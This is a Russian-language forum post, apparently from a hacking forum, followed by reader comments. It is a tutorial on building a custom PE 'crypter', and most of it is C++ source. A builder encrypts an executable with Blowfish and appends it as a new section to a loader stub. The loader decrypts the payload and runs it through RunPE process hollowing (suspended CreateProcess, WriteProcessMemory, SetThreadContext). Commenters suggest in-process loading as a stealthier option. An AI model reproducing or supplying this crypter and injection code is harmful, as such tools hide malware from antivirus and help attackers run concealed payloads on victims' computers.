Загрузка...
Авторская статья Делаем свой криптор PE файлов (Gay method)
  1. Infern0
    Infern0 Автор темы 6 мар 2018 Ебашу адовые биржи 54 22 фев 2018
    Всем салют!

    С прошлого года у меня была идея сделать свой протектор. Данную идею я носил в себе уже довольно долго, но только на новогодних праздниках я приступил к реализации. Начал с полиморфного кода (если эта статья зайдет, то расскажу про полиморфный код). Потом перешел к другим вещам как загрузка PE из памяти и тд. И вот недавно дело дошло до билдера. Так как я исходники ищу уже в самой критической ситуации, то сначала я решил сделать подобную вещь своими силами. Формально передо мной стояла цель сделать псевдо-пакер.
    Логика была совсем банальная. У нас есть билдер и лоадер.
    1. Лоадер - маленькая програмка, которая после сборки будет хранить в себе зашифрованный код нашего PE файла. От нее требуется только расшифровать файл и запустить его.
    2. Билдер - программа, в которой будет храниться лоадер. Билдер будет модифицировать лоадер, а именно добавлять в него зашифрованный код PE файла так, чтобы лоадер понял, что ему расшифровывать и исполнять.
    Отлично, но как добавить код в PE файл лоадера? Для этого я решил взять и создать дополнительную секцию в лоадере. В эту секцию записать байты PE файла, а при запуске лоадер будет читать последнюю секцию файла, в которой как раз и будет наш зашифрованный PE.

    Все пока звучит довольно реализуемо. Но как теперь запустить наш файл, Тут я решил поступить довольно убогим методом. Выполнить наши байты в памяти. Почему? Потому что это была первая идея. Плюсом данного метода является то, что код будет очень сложно получить через дамп, ибо придется искать то место, куда же происходила запись PE. Ну а минусов в этом методе вагон и маленькая тележка, начиная с запуска запротекченного файла через раз, и заканчивая тем, что не все PE Win32 Файлы поддерживаются.

    Однако это все пример и не более. Для личных нужд данный софт более чем уместен.

    Ладно, приступим уже к написанию кода. Я решил начать с лоадера. После того как вы включите максимальную оптимизацию по объему, отключите манифест и отладочную информацию, добавите код с вашим алгоритмом шифрования (я использовал blowfish), можно начать писать код.
    Для начала напишем функцию для получения размера нашего файла (да, читать секцию из памяти мне было лень, однако так тоже можно)

    Код

    int GetFileSize(const char* path)
    {
    FILE* file = fopen(path, "rb");
    if (!file)
    return 0;

    fseek(file, 0, SEEK_END);
    int fSize = ftell(file);
    fclose(file);

    return fSize;
    }


    Дальше напишем функцию для получения последней секции в нашем PE файле

    Код

    byte* ReadLastSection(DWORD& codeLen)
    {
    char CurrentFilePath[1024] = "";
    GetModuleFileName(NULL, CurrentFilePath, 1024);

    FILE* file = fopen(CurrentFilePath, "rb");
    if (!file)
    exit(~0);

    DWORD fileSize = GetFileSize(CurrentFilePath);
    BYTE* pByte = new BYTE[fileSize];

    fread(pByte, sizeof(BYTE), fileSize, file);

    PIMAGE_DOS_HEADER dos = PIMAGE_DOS_HEADER(pByte);
    PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(pByte + dos->e_lfanew);

    PIMAGE_SECTION_HEADER first = IMAGE_FIRST_SECTION(nt);
    PIMAGE_SECTION_HEADER last = first + (nt->FileHeader.NumberOfSections - 1);

    fseek(file, last->PointerToRawData, 0);
    fread(&codeLen, sizeof(DWORD), 1, file);

    byte* raw = (byte*)malloc(codeLen * sizeof(byte));
    if(!raw)
    return nullptr;

    fread(raw, sizeof(byte), codeLen, file);
    delete[] pByte;

    return raw;
    }

    Прикол заключается в том, что если подобное делать через функции WinAPI (CreateFile), то винда шлет тебя куда подальше и не дает читать файл.

    Ну и на последнее - функция запуска файла из памяти. Данный метод также стар, как мой дед, так что те, кто занимается реверсом увидят здесь знакомые строки.
    Код

    int RunPE(void* Image)
    {
    IMAGE_DOS_HEADER* pDosHeader;
    IMAGE_NT_HEADERS* pNtHeader;
    IMAGE_SECTION_HEADER* pSectionHeader;


    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;

    CONTEXT* CTX;

    DWORD ImageBase;
    void* pImageBase;

    char CurrentFilePath[1024] = "";

    pDosHeader = PIMAGE_DOS_HEADER(Image);
    pNtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + pDosHeader->e_lfanew);

    GetModuleFileName(NULL, CurrentFilePath, 1024);
    if(pNtHeader->Signature == IMAGE_NT_SIGNATURE)
    {
    ZeroMemory(&PI, sizeof(PI));
    ZeroMemory(&SI, sizeof(SI));

    if(CreateProcess(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
    {
    CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
    CTX->ContextFlags = CONTEXT_FULL;

    if(GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
    {
    ReadProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, NULL);

    pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(pNtHeader->OptionalHeader.ImageBase), pNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(PI.hProcess, pImageBase, Image, pNtHeader->OptionalHeader.SizeOfHeaders, NULL);

    for(int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++)
    {
    pSectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + pDosHeader->e_lfanew + 248 + (i * 40));
    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + pSectionHeader->VirtualAddress),
    LPVOID(DWORD(Image) + pSectionHeader->PointerToRawData), pSectionHeader->SizeOfRawData, NULL);
    }

    WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&pNtHeader->OptionalHeader.ImageBase), 4, NULL);
    CTX->Eax = DWORD(pImageBase) + pNtHeader->OptionalHeader.AddressOfEntryPoint;

    SetThreadContext(PI.hThread, LPCONTEXT(CTX));
    ResumeThread(PI.hThread);

    return 0;
    }
    }
    }
    return -1;
    }


    Остается сделать точку входа, прикрутить шифрование и лоадер готов.
    Код

    int main()
    {
    DWORD codeLength = 0;
    int neweCodeLength = 0;

    byte* raw = ReadLastSection(codeLength);

    if (!raw)
    exit(~0);

    BLOWFISH cryptor(key, 32);
    cryptor.SetIV(iv);

    byte* dectypted = cryptor.Decrypt_CBC(raw, codeLength, &neweCodeLength);
    delete[] raw;

    RunPE(dectypted);
    }

    На этом с лоадером покончено. Можете смело билдить его в Release конфигурации и копировать его hex код (для этого можно юзать HexNeo | HexEdit)

    А дальше начинаются пляски с бубном. Нам нужно написать билдер. Хотя если знать, что делать, то создание билдера не выглядит таким страшным.

    Для начала добавим функции для чтения и записи файла, а также выгрузки лоадера (повторяю, я не любитель WinAPI)
    Код

    inline byte* ReadFile(const char* fileName, int&fSize)
    {
    fSize = GetFileSize(fileName);
    byte* rawData = new byte[fSize];

    FILE* file = fopen(fileName, "rb");
    fread(rawData, sizeof(byte), fSize, file);

    fclose(file);
    return rawData;
    }

    inline void UnloadLoader(string& fileName)
    {
    fileName = "Loader-" + fileName;
    FILE* file = fopen(fileName.c_str(), "wb+");

    if(!file)
    return;

    fwrite(LOADER, sizeof(unsigned char), ARRAY_SIZE(LOADER), file);
    fclose(file);
    }

    Дальше надо реализовать функцию добавления новой секции. К сожалению просто так ее не добавишь, ибо надо учитывать выравнивание, а также данные предыдущей секции (то бишь последней). Однако это тоже не является проблемой, если знать структуру PE (тут инфы просто море, один хабр чего стоит).

    Код

    inline DWORD align(DWORD size, DWORD align, DWORD addr)
    {
    if (!(size % align))
    return addr + size;

    return addr + (size / align + 1) * align;
    }

    inline bool AddSection(const char* filePath, const char* sectionName, DWORD sizeOfSection)
    {
    HANDLE file = CreateFile(filePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(file == INVALID_HANDLE_VALUE)
    return false;

    DWORD fileSize = GetFileSize(file, NULL);

    BYTE* pByte = new BYTE[fileSize];
    DWORD dw;

    ReadFile(file, pByte, fileSize, &dw, NULL);

    PIMAGE_DOS_HEADER dos = PIMAGE_DOS_HEADER(pByte);
    if(dos->e_magic != IMAGE_DOS_SIGNATURE)
    return false;

    PIMAGE_FILE_HEADER FH = PIMAGE_FILE_HEADER(pByte + dos->e_lfanew + sizeof(DWORD));
    PIMAGE_OPTIONAL_HEADER OH = PIMAGE_OPTIONAL_HEADER(pByte + dos->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));
    PIMAGE_SECTION_HEADER SH = PIMAGE_SECTION_HEADER(pByte + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS));


    ZeroMemory(&SH[FH->NumberOfSections], sizeof(IMAGE_SECTION_HEADER));
    CopyMemory(&SH[FH->NumberOfSections].Name, sectionName, 8);

    SH[FH->NumberOfSections].Misc.VirtualSize = align(sizeOfSection, OH->FileAlignment, 0);
    SH[FH->NumberOfSections].VirtualAddress = align(SH[FH->NumberOfSections - 1].Misc.VirtualSize, OH->SectionAlignment, SH[FH->NumberOfSections - 1].VirtualAddress);
    SH[FH->NumberOfSections].SizeOfRawData = align(sizeOfSection, OH->FileAlignment, 0);
    SH[FH->NumberOfSections].PointerToRawData = align(SH[FH->NumberOfSections - 1].SizeOfRawData, OH->FileAlignment, SH[FH->NumberOfSections - 1].PointerToRawData);
    SH[FH->NumberOfSections].Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;

    SetFilePointer(file, SH[FH->NumberOfSections].PointerToRawData + SH[FH->NumberOfSections].SizeOfRawData, NULL, FILE_BEGIN);
    SetEndOfFile(file);

    OH->SizeOfImage = SH[FH->NumberOfSections].VirtualAddress + SH[FH->NumberOfSections].Misc.VirtualSize;
    FH->NumberOfSections += 1;

    SetFilePointer(file, 0, NULL, FILE_BEGIN);
    WriteFile(file, pByte, fileSize, &dw, NULL);
    CloseHandle(file);

    delete[] pByte;
    return true;
    }

    Дальше стоит написать метод для выгрузки данных в нашу секцию, это уже очень простая задача, так как никакое выравнивание нам не нужно, достаточно прыгнуть в начало последней секции и записать нужное кол-во байт. Кстати, лоадер как-то должен получить кол-во байт для чтения. Поэтому сначала записываем размер файла в байтах, а потом сами байты. Надеюсь это всем понятно.

    Код

    inline bool AddCode(const char* filepath, byte* code, DWORD codeLen)
    {
    HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (file == INVALID_HANDLE_VALUE)
    return false;

    DWORD fileSize = GetFileSize(file, NULL);

    BYTE* pByte = new BYTE[fileSize];
    DWORD dw;

    ReadFile(file, pByte, fileSize, &dw, NULL);

    PIMAGE_DOS_HEADER dos = PIMAGE_DOS_HEADER(pByte);
    if (dos->e_magic != IMAGE_DOS_SIGNATURE)
    return false;

    PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(pByte + dos->e_lfanew);
    PIMAGE_SECTION_HEADER first = IMAGE_FIRST_SECTION(nt);
    PIMAGE_SECTION_HEADER last = first + (nt->FileHeader.NumberOfSections - 1);

    SetFilePointer(file, last->PointerToRawData, NULL, FILE_BEGIN);

    WriteFile(file, &codeLen, sizeof(DWORD), &dw, 0);
    WriteFile(file, code, codeLen, &dw, 0);

    CloseHandle(file);
    delete[] pByte;

    return true;
    }

    Ну вот и все, самое страшное позади, остается сделать точку входа, красочный дизайн и можно криптовать файлы.
    Код

    int main()
    {
    cout << "file->";

    string fileName = "";
    getline(cin, fileName);

    int fileSize = 0;
    int newFileSize = 0;
    byte* fileraw = ReadFile(fileName.c_str(), fileSize);

    if (!fileraw)
    return 0;

    BLOWFISH cryptor(key, 32);
    cryptor.SetIV(iv);

    string loaderName = fileName;
    UnloadLoader(loaderName);

    byte* cryptData = cryptor.Encrypt_CBC(fileraw, fileSize, &newFileSize);
    delete[] fileraw;

    if (!AddSection(loaderName.c_str(), "PACK0", newFileSize + 0x40))
    return 0;

    if(!AddCode(loaderName.c_str(), cryptData, DWORD(newFileSize)))
    return 0;

    delete[] cryptData;
    cout << "Loader generated!";
    cin.get();

    return 0;
    }

    ГОТОВО! Наш костыльный криптор готов. Можем тестить на простых exe файлах (по моим тестам криптует большинство консольных программ).

    [IMG]
    [IMG]

    Как видим в коде есть просто код выполнения файла в памяти, самих исходников нема.

    Кстати есть еще видео где я пишу этот код в real tim`е, так что тоже можете глянуть.



    На этом все. Спасибо, что прочитали, надеюсь данная статья вам пригодится при создании своих топе протекторов.

    p.s
    к сожалению ник ShockByte кто-то занял, поэтому пришлось использовать этот, это очень печально, однако.

    #моястатья
     

Комментарии

    1. C_MOПЕДА_НА**Й
      C_MOПЕДА_НА**Й 6 мар 2018 Заблокирован(а) 294 29 авг 2017
      Что такое РЕ?
       
    2. Infern0
      Infern0 Автор темы 6 мар 2018 Ебашу адовые биржи 54 22 фев 2018
      Portable Executable файл. Формат файла.
       
    3. Ayvaska
      Ayvaska 6 мар 2018 Заблокирован(а) 27 20 ноя 2017
      канал в ютубе интересный продолжай в том же духе
       
    4. pasha4728
      pasha4728 9 мар 2018 Заблокирован(а) 5 10 янв 2017
      ничего не понятно...шо куда и тд.
       
    5. ragerx
      ragerx 9 мар 2018 some some some.. 64 4 сен 2017
      а Entry Point не сбивается?
       
    6. Infern0
      Infern0 Автор темы 9 мар 2018 Ебашу адовые биржи 54 22 фев 2018
      Нет, ибо там просто подгрузка кода идет с другой секции.
       
    7. Infern0
      Infern0 Автор темы 9 мар 2018 Ебашу адовые биржи 54 22 фев 2018
      Хз, показал своему коту, он сказал, что даже дурачок поймет, если C++ знает.
       
    8. Infern0
      Infern0 Автор темы 9 мар 2018 Ебашу адовые биржи 54 22 фев 2018
      Поэтому метод и является нестандартным, ибо по классике я должен был расшифровать код и передать управление на расшифрованную секцию с кодом (с последующими фиксами секций и тд). А так я просто выгружаю код в память и выполняю его с помощью CreateProcess.
       
    9. ragerx
      ragerx 12 мар 2018 some some some.. 64 4 сен 2017
      Да, правда интересный подход..
      Симпу поставить не могу (хз почему нет этой возможности), но за статью благодарен.. интересно
       
    10. Енот272_inactive171964
      Енот272_inactive171964 14 мар 2018 Ушел на покой 372 6 сен 2017
      Очень даже крутая статья, спасибо тебе большое - автор. Моё увожение к тебе)
       
    11. JoppaPiki
      JoppaPiki 21 авг 2018 Заблокирован(а) 11 19 авг 2018
      Автор, немного покритикую статью. Протекторы и крипторы ( хорошие ) априори не юзают ранпе, гугли в сторону загрузки файла в текущий процесс. В целом неплохо, статья понравилась.
       
Top